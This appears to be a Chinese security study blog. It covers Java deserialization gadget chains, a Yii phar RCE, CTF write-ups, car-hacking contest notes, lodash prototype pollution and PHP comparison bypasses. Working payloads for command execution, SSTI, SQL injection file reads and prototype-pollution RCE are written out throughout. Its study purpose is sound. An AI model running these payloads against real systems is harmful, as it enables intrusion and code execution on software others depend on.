=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=48=00=73=00=4B=00=6C=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=48=00=73=00=4B=00=6C=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=47=00=54=00=77=00=30=00=7A=00=65=00=63=00=42=00=6C=00=74=00=50=00=57=00=55=00=65=00=6C=00=4F=00=6D=00=6D=00=48=00=30=00=33=00=4C=00=4B=00=4F=00=2B=00=71=00=61=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a |
清除其他字符
1 | http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log |
phar序列化
1 | http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=phar://../runtime/logs/app.log |

和Laravel Debug RCE的区别?
日志中只出现一次完整payload,还有一次到15字符省略的payload

因为在utf-16le->utf-8的时候必须要求是偶数字节,不然会报错,所以在Laravel Debug RCE的时候会先发送一个AA的文件名让日志必定为偶数字节
在yii这里测试的时候本身就是偶字节的原因,就不需要提前发了,但是在调试Laravel的时候需要注意
大部分参照p1g3@D0g3师傅的文章,先入概念太重了,就当放个笔记吧
URLDNS 完全使用Java内置的类构造,无需第三方库支持。不能执行命令,通常用来验证目标是否存在反序列化漏洞。
测试环境:jdk 11u8
1 | HashMap.readObject() |
HashMap 重写了 readObject,这里使用 hash 函数来处理 key,得到 hashcode
1 | private void readObject(java.io.ObjectInputStream s) |
跟进 hash 方法,当 key 不为 null 时,这里直接调用了 key 的 hashCode 方法

跟进 URL 类的 hashCode 方法,当 hashCOde 值为 -1 的时候,调用 handler 的 hashCode 函数

这里使用的 handler 默认是 URLStreamHandler 类,其 hashCode 函数内 getHostAddress 函数会对目标发起 DNS 请求,所以可以构造恶意序列化数据,看是否收到 DNS 请求来判断目标是否存在反序列化漏洞。

再回到 HashMap 的 readObject 函数,这里 key 和 value 的值是通过 readObject 函数从序列化数据中读出,那么 writeObject 函数必定有写入 key 和 value 的操作

跟进 writeObject 函数,这里主要是这个 internalWriteEntries 函数

继续跟进,发现这里是从 tab 里面获取 key 和 value,而这个 tab 其实就是 HashMap 的 table ,用于存储所有的数据,数据的改变需要用到 put 函数

跟进 put 函数,这里同样调用了 hash 函数,那么同理也会进行 DNS 请求。

那么如何阻止 put 时发起第一次 DNS 请求,URL 类 hashCOde 函数内,当 hashCode 不为 -1,会结束调用,于是在 put 前设置 hashCode 不为 -1 ,在 put 之后,序列化对象之前再设置 -1 即可。

可以这样理解,在序列化 HashMap 类对象的时候,为了减少序列化后数据的大小,并没有将整个哈希表保存进去仅保存了所有数据的 key 和 value,这样在反序列化对象的时候,就需要重新根据 key 去计算 hash,而 URL 这个类在计算 hash 的时候会调用 getHostAddress 查询主机地址,自然就会放出 DNS 请求。

yso 阻止第一次 DNS 请求的方法就比较巧妙了,这里的 URL 构造函数有三个参数,查阅文档,这里其实是自定义了一个 handler,SilentURLStreamHandler

然后重写 getHostAddress 函数,直接返回为 null ,不会进行 DNS 请求,简单粗暴

因为 java.net.URL.handle 是标记 transient 的,不会被序列化进去,从而不会影响漏洞的利用
URLDNS.java:
1 | package demo; |
Main.java:
1 | package demo; |

Commons-Collections 为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。保证性能的同时大大简化代码。
影响版本:
测试环境:
1 | ObjectInputStream.readObject() |
先分析后半段,commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。

其中有众多类实现了此接口,cc中主要利用到了以下三个。
其transform方法实现了通过反射来调用某方法:

其transform方法将输入原封不动的返回:

其transform方法就是一个链式调用,前面transform的输出作为下一次transform的输入

将这是三个transform结合起来,可以反射runtime实现任意命令执行
1 | package demo; |
这里 Class[].class 是因为这里使用反射调用getMethod(其实是getMethod反射getMethod然后调用),有个可变参数,所以这里使用 Class[].class,后面也要使用Class[0]占位

这里不直接使用Runtime.getRuntime(),是因为Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。
然后找哪里调用transform函数,cc1使用的是Lazymap.get

这里不能直接创建LazyMap对象,需要使用反射的方法创建对象

1 | package demo; |
那么只需要再找到一个地方调用get方法,并且可以传入任意值。
分析利用链的前半部分,AnnotationInvocationHandler的readObject函数,这是jre7.0的一个类,如果this.memberValues是一个动态代理类,那么就可以调用其invoke函数

动态代理可以参考:https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984
动态代理可以实例化一个接口,然后调用其方法,动态代理其实也是实例化一个类去实现接口,只不过是将接口方法“代理”给InvocationHandler的invoke方法完成。
动态代理之于反序列化漏洞的意义个人认为拓展了反序列化的攻击面,可以拓展任意一个方法到代理内的invoke方法中。
继续利用链分析,这里继续将代理类的handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler),其handler调用了get函数
1 | public Object invoke(Object var1, Method var2, Object[] var3) { |
那么只需要设置this.memberValues为我们构造的map就可以在序列化对象后自动执行命令了。
1 | package demo; |
这里第一个参数是Override.class因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类


而Override.class正是java自带的一个注解类:

Java 对AnnotationInvocationHandler的修复:
1 | AnnotationInvocationHandler.UnsafeAccessor.setType(this, t); |
readObjetc时会再重新设置memberValues的值,序列化之后的数据就没用了
commons-collections的修复:

在 readObject, writeObject 时都做了检测, 需要设置对应的 Property 为 true 才能反序列化 InvokerTransformer
影响版本:
测试环境:
1 | ObjectInputStream.readObject() |
.java文件需要编译成.class文件后才能正常运行,而javassit是用于对生成的class文件进行修改,或以完全手动的方式,生成一个class文件。
Demo:
1 | import javassist.*; |
上面的代码生成的class文件是这样的:

对于命令执行来说有什么用呢,可以在生成的class文件的static语句块中添加想要执行的代码,那么在从class文件创建实例的时候就会自动运行我们想要执行的代码
1 | import javassist.*; |
上面这段代码中生成的class是这样的:

这里的static语句块会在创建类实例的时候执行
cc2利用的是 java.util 包的 PriorityQueue 类,其readObject函数跟着利用链一路下来之后最后调用了siftDownUsingComparator函数

注意这个compare函数的调用,commons-collection 4.0中TransformingComparator类的compare调用如下

那么设置PriorityQueue类的comparator为TransformingComparator类,再设置TransformingComparator类的transfomer为cc1的ChainedTransformer,即可实现任意代码执行,POC如下
1 | package demo; |
细节问题:

heapify需要size大于2才能进入siftDown函数,所以需要提前add两个值,使size大于2。其实也可以不用add,直接反射修改size值大于2也是可以的。
add跟进之后会发现调用siftUp函数,这里需要comparator为null,如果提前修改会导致报错,所以add之后才可以修改comparator


transient真的不能被序列化吗?其实不然,被transient修饰的数据,只是在默认序列化的时候,不会被序列化进去,但是如果自定义序列化,也是可以写入的

比如这里重写的writeObject,defaultReadObject不会序列化queue数据,但是这里手动写入,readObject的时候也可以反序列化出来
但是这里cc2却没有使用cc1的后半条链,而是利用了一个新的点,com.sun.org.apache.xalan.internal.xsltc.trax 的TemplatesImpl类
这个类的newTransformer方法会调用getTransletInstance
defineTransletClasses通过loader.defineClass将bytecode还原成class,然后在getTransletInstance中又通过newInstance创建新实例,如果为恶意的bytecode,那么就会执行static语句块中的代码

Demo:
1 | package demo; |
前面说了,我们已经可以执行到transform方法了,那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer,达到命令执行的目的。
完整POC:
1 | package demo; |
细节问题:
这是因为在defineTransletClasses这个方法中存在一个判断:

我们需要令_transletIndex为i,此时的i为0,默认状态下_transletIndex的值为-1,而如果_transletIndex的值小于0,就会抛出异常:

这里我们也不能通过反射的方式来设置_transletIndex的值,因为还是会进入到_auxClasses方法中,此方法会报出错误,我们依旧无法正常的序列化。
直接取消了InvokerTransformer 的 Serializable 继承

影响版本:
测试环境:
1 | ObjectInputStream.readObject() |
cc2使用TemplatesImpl类的newTransformer重建类实例来实现命令执行,cc2使用的是InvokerTransformer来反射调用newTransformer方法,而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer。

同时加入了一个新的InstantiateTransformer,以下是他的transform方法,会调用单个构造参数的构造方法创建实例,那么就可以利用它来调用newTransformer

cc3其实更像是cc1前半段和cc2后半段的结合,POC如下:
1 | package demo; |
影响版本:
测试环境:
1 | ObjectInputStream.readObject() |
没有啥新东西,前半段cc2,后半段cc3
1 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
影响版本:
测试环境:
1 | ObjectInputStream.readObject() |
后半段用的是cc1,要执行map的get方法,选用的是commonscollection的TiedMapEntry类的toString,toString调用getValue,getValue调用get方法


然后就要找调用toString方法的地方,这里选用的是Java的BadAttributeValueExpException类的readObject方法,设置val为TiedMapEntry类,再设置TiedMapEntry类的map为恶意map即可

1 | package demo; |
影响版本:
测试环境:
1 | java.io.ObjectInputStream.readObject() |
用了cc1的后半部分,这里对TiedMapEntry类的getValue的调用用的是TiedMapEntry的hashCode

调用hashCode的是HashMap类的hash方法,但是k不控,需要找一个地方调用hash函数且传入参数k可控

put可以可控调用,但是同样key的值不可控

最后是在HashSet的readObject这里,可控调用put函数

e值在writeObject的keySet函数生成,那么只要控制其返回值就可以了

1 | import org.apache.commons.collections.Transformer; |
影响版本:
测试环境:
后半段同样是cc1
主要是transform的方法调用,利用过程主要分成三段:
1 |
|
url里只要包含 unctf.com 即可,开始想多了,弄到 gopher 协议了,然后发现 dict 和 gopher 协议根本没开启,手慢错失三血
1 | http://e035ba36-6bf8-44c8-9837-2afecc32ca08.node3.hackingfor.fun/?url=/unctf.com/../../../../flag |
知识点
__注册 admin 然后登陆,发现路径 secret_route_you_do_not_know,guss 参数 SSTI
__ 被过滤,网上找了下,发现这篇文章:
https://www.secpulse.com/archives/115367.html
payload:
1 | ?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(91)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('platform').popen('cat flag.txt').read() |
知识点
1 |
|
getVars 函数逻辑使用 $$var 可变量覆盖,md5($password) === $adminPassword 值需要覆盖 adminPassword 值为任意已知原文的md5值即可。sha1($verif) == $verif 这一步采用 0e 相等的方式,附上爆破脚本,爆破了大概半小时……
1 |
|
payload,然后直接在 phpinfo 页面可以看到 flag
1 | ?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a()}&a=phpinfo |
上面这个 payload 命令命令执行的话,因为位数限制,执行的命令有限制,这题还可以任意命令执行
1 | ?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a($b)}&a=system&b=whoami |
非预期:
动态函数,刚好 flag 也可以在 phpinfo 看到
1 | ?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=\"$a()?>&a=phpinfo |
1 |
|
序列化字符串逃逸,可以看这篇文章,增加和减少都有讲到
https://blog.csdn.net/qq_45521281/article/details/107135706
需要注意增加或减少逃逸长度的思想,正常的 payload ";s:8:"password";s:4:"easy";},长度为 29,然而每次逃逸的长度为 4,29 不是 4 的倍数。减少是不可能了,那么考虑增加,";s:8:"password";s:4:"easy";i:1} 32 位,是 4 的倍数。
payload:challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";i:1}
正则为 /\(.*\)/,不能使用带括号的 PHP 函数,那么考虑特殊语法 echo 和 include,回显结果不能含有 flag,base64 即可
payload1:
1 | ?a=echo`cat flag.php|base64`; |
payload2:
1 | ?a=include 'php://filter/read=convert.base64-encode/resource=flag.php'; |
1 |
|
序列化数组即可,本地 payload 可以,题目环境不可以,发现 == 想到弱类型,flag.php 里面对变量肯定有改动,username 和 password 改为数字类型的 0 即可,(非得这么考弱类型吗……)
1 | data=a:2:{s:8:"username";i:0;s:8:"password";i:0;} |
给了 index.php,登录 post 请求要改到 check.php,然后会跳转到 ping.php,然后都是假界面,index.php 注入然后 os-shell 搞定。
后面发现改了题,换成了命令执行绕过,过滤了空格,用 %09 绕过。又过滤了 flag,使用linux 通配符 /???? 的方式 cat 到 flag
qwb 随便注改编,三种思路可以参考
https://www.jianshu.com/p/36f0772f5ce8
这里 set..prepare 过滤忽略了大小写,set 和 prepare 不能同时出现,那么换一种思路,使用系统变量。数据库没有东西,尝试写入shell,能写入,但是访问就403错误,猜测 ngnix 配置问题。然后尝试 load_file 读文件,读取到 /tmp/flag.sh 获取到 flag 路径(参照随便注的 dockerfile)为 /fffllaagg,读取即可。
这里有一个小 trick,我是使用的系统变量 general_log_file 来注入,但是发现 select ... /etc/paswd 这样sql语句和目录一起出现的语句不能赋值给 general_log_file,所以我用了两个系统变量,用预编译占位符的方式绕过。
payload:
1 | ?inject=-1';set global slow_query_log_file="select load_file(?)";set global general_log_file="/fffllaagg";show global variables like "slow_query_log_file";show global variables like "general_log_file";prepare execsql from @@slow_query_log_file;execute execsql using @@general_log_file;# |
后来发现预期解是考察存储过程:
1 |
|
1 | <SCRIPT language=javascript><!-- |
fuzz 到 action 参数,发现文件包含漏洞,filter 伪协议读源码即可,过滤了 base,换用rot13编码
1 | ?action=php://filter/read=string.rot13/resource=flag.php |
flag.php:
1 |
|
hex 解码后发现 1nD3x.php
1 |
|
参考 p 神文章,绕过 16 位限制
1 | POST /1nD3x.php?1[]=test&1[]=cat%20/flag_mdnrvvldb&2=system HTTP/1.1 |
delctf 原题:https://blog.csdn.net/alexhcf/article/details/105946638
上传 .htaccess
1 | <!DOCTYPE html> |
这题人傻了,直接变成数组就可以绕过,考察的错误转换成true?
1 | index.php?name[]=1 |
1 | from flask import Flask,render_template,redirect,request,session,make_response |
赛后复现了一下,考点是 pickle 反序列化覆盖 secret_key 以及 flask cookie 伪造
pickle 反序列化可以参考以下几篇文章:
https://www.anquanke.com/post/id/188981
https://zhuanlan.zhihu.com/p/89132768
手搓字节码关键在于理解 opcode 作用,不太理解的可以尝试阅读源代码帮助理解,以及理清栈和 memo 里每一步的数据。可以使用 pker 帮助构建,建议可以在本地测试 opcode 是否构建正确
pker 代码,覆盖 secret_key ,返回 Person 对象
1 | secret = GLOBAL('__main__', 'config') |
然后使用 flask-session-cookie-manager 伪造 cookie,注意这里的参数都需要用双引号扩起来,github 文档示例不太对,会报错
1 | py -3 flask_session_cookie_manager3.py encode -s "hello" -t "{'name':'admin','is_admin':1}" |
具体流程,登录过后,修改 coookie 的 pkl,访问 /login 反序列化覆盖 secret_key ,然后再访问 / 覆盖掉 app.config["SECRET_KEY"],接着更改 cookie 的 session 为篡改的 session 访问 /login 即可获得 flag
010 editor 打开发现最后有个 b 站地址,访问后第一条评论就是 flag
https://www.bilibili.com/video/BV1y44111737
1 | 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. |
三个密码子,最先猜测摩斯密码肯定不对,后来又尝试了其他很多密码,最后想到 Ook 编码三个密码子,且对应后缀 .、? 、! 然后解密即可
游戏还是很好玩,按照游戏流程过游戏,然后修改 rpgsave 存档文件,修改金钱数即可购买 flag
ylb 的验证码给搬上来了,正确输入 10 次即可获得 flag,不得不吐槽,眼睛都快瞎了
把图移开后发现 base64 后的 flag
流量包获取到三个文件 xor.py,YLBSB.xor,secret.pyc
pyc 反编译的到 key ,然后编写脚本跑就完事,3M的文件,跑了一个小时。。
1 | #!/usr/bin/env python |
流量分析,usb协议,参照这篇文章,提取出坐标点,然后plot绘图即可得flag的镜像
https://blog.csdn.net/qq_43625917/article/details/107723635
unctf{U5BC@P}
补齐定位点扫描即得
unctf{QR@2yB0x}
零宽度字符,解密即得 unctf{sycj24_6hvgj_8gfj}
john直接破解密码为 123456
010 editor直接读
解码工具分析出拨号内容,解压后发现塔珀自指公式,参考这篇文章解出
https://www.cnblogs.com/l137/p/3594664.html
flag{Y29pbA==}
参考文章,montage + gaps拼图
https://shawroot.cc/archives/639

UNCTF{EZ_MISC_AND_HACK_FUN}
直接一直回车,然后出了部分 flag UNCTF{Gu@rd_Th3_Bes7_,结合题目名字,UNCTF{Gu@rd_Th3_Bes7_YLB},没有pwn环境,有空学一学,应该就是一直请求接收包就可以。
1 | from Crypto.Util import number |
a,b已知,通过加减乘除即可知 p,q
1 | #!/usr/bin/env python |
这里需要注意的是,如果是 q = (a-b)/2 ,会抛出 OverflowError: int too large to convert to float。这里是因为在 Python3 里面,/ 默认是浮点数除法,q 默认类型即为 float ,浮点数对于大数会出现掉精度的问题,导致相减时范围溢出。
解决方法是换用整数除法 \\,整数除法在 Python3 里面是结果向下取整,如下,但重要的是做大数除法的时候会保留 int 类型的精度。
1 | 9/2 |
winner attack 获取到 d 的值,然后解密即可
1 | #!/usr/bin/env python |
1 | ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto |
培根密码,o换成a,t换成b,然后解密即可,unctf{PEIGENHENYOUYINGYANG}

初入逆向,工具都是现学,x64dbg 动态调即得 flag
参照这篇文章,反编译 run.py
1 | str2 = 'UMAQBvogWLDTWgX"""k' |
UNCTF{un_UN_ctf123}
关于原型链基础可以查看:继承与原型链
JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为
null。根据定义,null没有原型,并作为这个原型链中的最后一个环节。
JavaScript 是动态的,本身不提供一个 class 实现(ES6 引入了 class 关键字,但只是语法糖,JavaScript 任然是基于原型的)
__proto__JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
1 | function Foo() { |
Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。
每个类有一个 prototype 属性,它指向该类的原型对象。

同样的每个实例也有一个 __proto__ 属性指向实例对象的原型对象。

实例对象 __proto__ 与该实例对象所属类的 prototype 是相等的
1 | function Foo() { |
附上 Smi1e 师傅的图便于理解

每个实例对象都有一个 constructor 属性指向对应的构造函数,即类。所以以下几种写法其实是相等的,都返回 Foo 类的原型对象。
1 | Foo.prototype |
所有类对象在实例化的时候将会拥有
prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
1 | function Father() { |
Son类继承了Father类的
last_name属性,最后输出的是Name: Melania Trump。
JavaScript 的查找机制如下:
son.__proto__中寻找last_nameson.__proto__.__proto__中寻找last_namenull结束。比如,Object.prototype 的 __proto__就是 null 
不同对象所生成的原型链如下(部分)
1 | var o = {a: 1}; |
对于语句:
object[a][b] = value如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value

原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象
1 | function merge(target, source) { |
注意,这里如果不使用 json parse 的话,__proto__ 会被认为是原型对象,不是 key,就不会覆盖。
源码下载:http://code-breaking.com/puzzle/9/
下载之后 npm install 即可自动安装依赖
server.js
1 | const fs = require('fs') |
lodash.template 渲染模版,lodash.merge 合并函数或对象。整个程序逻辑,获取 post 数据,然后通过 merge 函数合并到 session 当中并显示。
通过 merge 函数可以将属性值注入到最底层的 Object,造成原型链污染,接下来找利用的点。
lodash/template.js 中(实际调试是在 lodash.js 第 14748 行 )
1 | // Use a sourceURL for easier debugging. |
options.sourceURL 原本是没有赋值的,通过 merge 污染原型链注入 sourceURL 属性,然后在 Function 里拼接后执行。
关于 Function 构造函数可以参照这个链接,这里第一个参数为参数值,第二个参数我是把它理解为执行的函数的代码片段,所以可以通过加入 \r\n 字符注入恶意代码运行。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
这里直接给出 p神的可回显payload,需要注意坑点,原始 POST 提交,Content-Type 值为 application/x-www-form-urlencoded,需要修改为 application/json
1 | POST / HTTP/1.1 |
其他无回显 payload
1 | {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}} |
这还有个 tip,因为范围原因,无法在 Function 函数里直接引用 require,process 等模块,需要在前面添加 global,可以查看 l0ca1 师傅的 writeup
https://blog.l0ca1.xyz/2018/11/25/Code-Breaking-JS/
1 | var require = global.require || global.process.mainModule.constructor._load |
上午
CTF 夺旗,考验基础渗透能力,有些简单的题目 sqlmap 可以直接出,主要是 Web 和 Misc 方向的题目,一个半小时20多道题目,时间有点紧。没有提供网线,WiFi 连接内网,切换热点查资料不是很方便。
下午
汽车交互系统 App 漏洞挖掘,还有一个云平台,主要考验安卓逆向能力,不是想象中的给一个 apk 然后自己找漏洞,会提供一些填空题,问答题要求让你做。大概题目有,Apk包名是什么,使用的中间件名字版本,最主要的还是车身控制比如开关车门、空调预约指令的重放,大概看了一下数据先使用 AES 再使用 Base64 加密。
关门指令数据包
1 | POST /eop/IAPPService/saveLockState?mobileNum=ixrlg%2B4yOqNGFhorPPUJRQ%3D%3D&token=0%2Fah6b%2BJbUT5D5fDHcltV29caZViC05pvC3tKf605tc%3D&door=3I4228ovBIPLv2Q6yyyE9Q%3D%3D&state=KNYz3Sd6UE9gJ%2BXCNCTVAQ%3D%3D&deviceId=21e0b51be0a0d2a75E%3A2A%3A86%3A23%3A80%3A0C HTTP/1.1 |
上午
每个队伍一个小时进车,连接OBD获取车CAN指令信息,抓取每个控制CAN控制指令比如开关车窗发送的数据。这一块其实感觉和车联网关系不大,是车辆的控制和协议了,类似 Burp 抓包的过程,总共 75 项数据,执行每个指令后有些数据会变化,还有一些事周期性变化的数据,需要从这里面找出对应指令的数据。这块建议多摸真车实践操作。
下午
车辆娱乐系统漏洞挖掘,这块就比较开放,随意查找漏洞,安卓9.0系统。之前用中间人攻击抓取了部分流量分析,发现外网的请求就只有酷我音乐还有高德地图。这里我们有两个攻击的思路:
类似的比赛,夺旗赛可以先派 CTF 选手上,涉及车联网方面再让车联网大哥上。这次成绩不理想,没有其他的原因,菜是原罪,好好努力吧
]]>本文主要针对 PHP 函数相关的漏洞的总结,可能会偏向 CTF 方面,内容肯定不全,有空的话会持续更新,欢迎各位表哥补充以及对文章错误之处进行斧正!
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较== 在进行比较的时候,会先将字符串类型转化成相同,再比较
(1)字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值则为0
1 | var_dump("admin"==0); //true |
(2)在进行弱类型比较时,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
1 | var_dump("0e123456"=="0e99999"); //true |
(3)当字符串当作数值来取值时,如果字符串中包含.、e、E或者数值超过整型范围内时,被当作float来取值,如果没有包含上述字符且在整形范围内,则该字符串会当作 int 来取值
1 | $test=1 + "10.5"; // $test=11.5(float) |
(4)ture 和任意字符串弱类型相等,和非 0 数字若类型相等
1 | var_dump("admin"== true); //true |
附上类型比较表:
https://www.php.net/manual/zh/types.comparisons.php
1 |
|
利用php弱类型原理,$a="4admin"在进行弱类型比较时会截取前面的4作为字符串的数值,正好可以匹配到case 4
1 |
|
弱比较,hash 值为 0e 开头即可绕过,例如 md5('240610708') == md5('QNKCDZO')
附上常见 0e 开头的md5和原值:
1 | QNKCDZO |
双 md5:
1 | $md5 md5($md5) |
$md5 == md5($md5),0e+数字 md5 爆破脚本:
1 | #!/usr/bin/env python |
PHP 版本:
1 |
|
1 |
|
两个参数内容不同,但 md5 值相同的,可以使用 fastcoll 工具碰撞
1 | param1=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2 |
最好使用 burp 发包,hackbar 插件有些时候会有问题
PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,只是会无法正确地求出array的md5值,并且返回NULL
1 |
|
payload:
1 | a[]=1&b[]=2 |
1 | var_dump(md5('INF')); |
即可满足 md5($this->trick1) === md5($this->trick2)
0.1*0.1 实际上由于浮点数处理的原因,数值为 0.010000000000000002
猜测 md5 函数处理时对小数的部分进行了舍弃,所以
1 | var_dump(md5(0.01)); |
Ciscn 2020 easytrick
1 |
|
payload1:
1 |
|
payload2:
1 |
|
这里采用序列化的方式是因为需要传入的是数字,而常规 post 或 get 输入默认会被当做字符串处理
1 |
|
第二个参数设置为 true 时, MD5 报文摘要将以16字节长度的原始二进制格式返回
?password=ffifdyop ,sql 语句转换为 SELECT * FROM admin WHERE pass=' 'or ' 6'<trash>
同样 129581926211651571912466741651878684928 md5 后为 T0Do#'or'8
1 |
|
运用 bool 欺骗,json_decode 将 key 值解析为 bool 类型的 false,payload message={"key":0}
1 |
|
https://www.php.net/array_search
参照 PHP 手册,array_search ( mixed $needle , array $haystack [, bool $strict = false ] ) : mixed,第三个参数 strict 默认为 false,如果可选的第三个参数 strict 为 TRUE,则 array_search() 将在 haystack 中检查完全相同的元素。 这意味着同样严格比较 haystack里 needle 的 类型,并且对象需是同一个实例。
即默认为 false 时,会进行弱类型比较,于是 payload test[]=0
1 |
|
strcmp()函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。
如果传入给出strcmp()的参数是数组则返回NULL,NULL==0是 bool(true),所以 payload password[]=2
1 |
|
传入数组放回 NULL,payload tmp1[]=1&tmp2[]=2
同 sha1() 和 strcmp()
intval(var)函数用于获取变量的整数值。在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符,即使出现无法转换的字符串也不会报错而是返回0,从而可以导致如下情形的Bypass
1 |
|

语法:srand(seed) 和 mt_srand(seed)
自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。但他却有个特性就是 当设置好种子后 再通过mt_rand()生成出来的随机数将会是固定的。
https://mp.weixin.qq.com/s/nVqkiMXyg2D_HtwLTkSgMA
1 | function getRandomString($len, $chars=null){ |
(double)microtime() 只有6位有效数字,种子取值0,10,20,30,40,50,60,70,80,90,100~9999980,9999990 共100W,种子固定,生成的随机数固定即生成的随机字符串固定,导致可爆破
定义:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
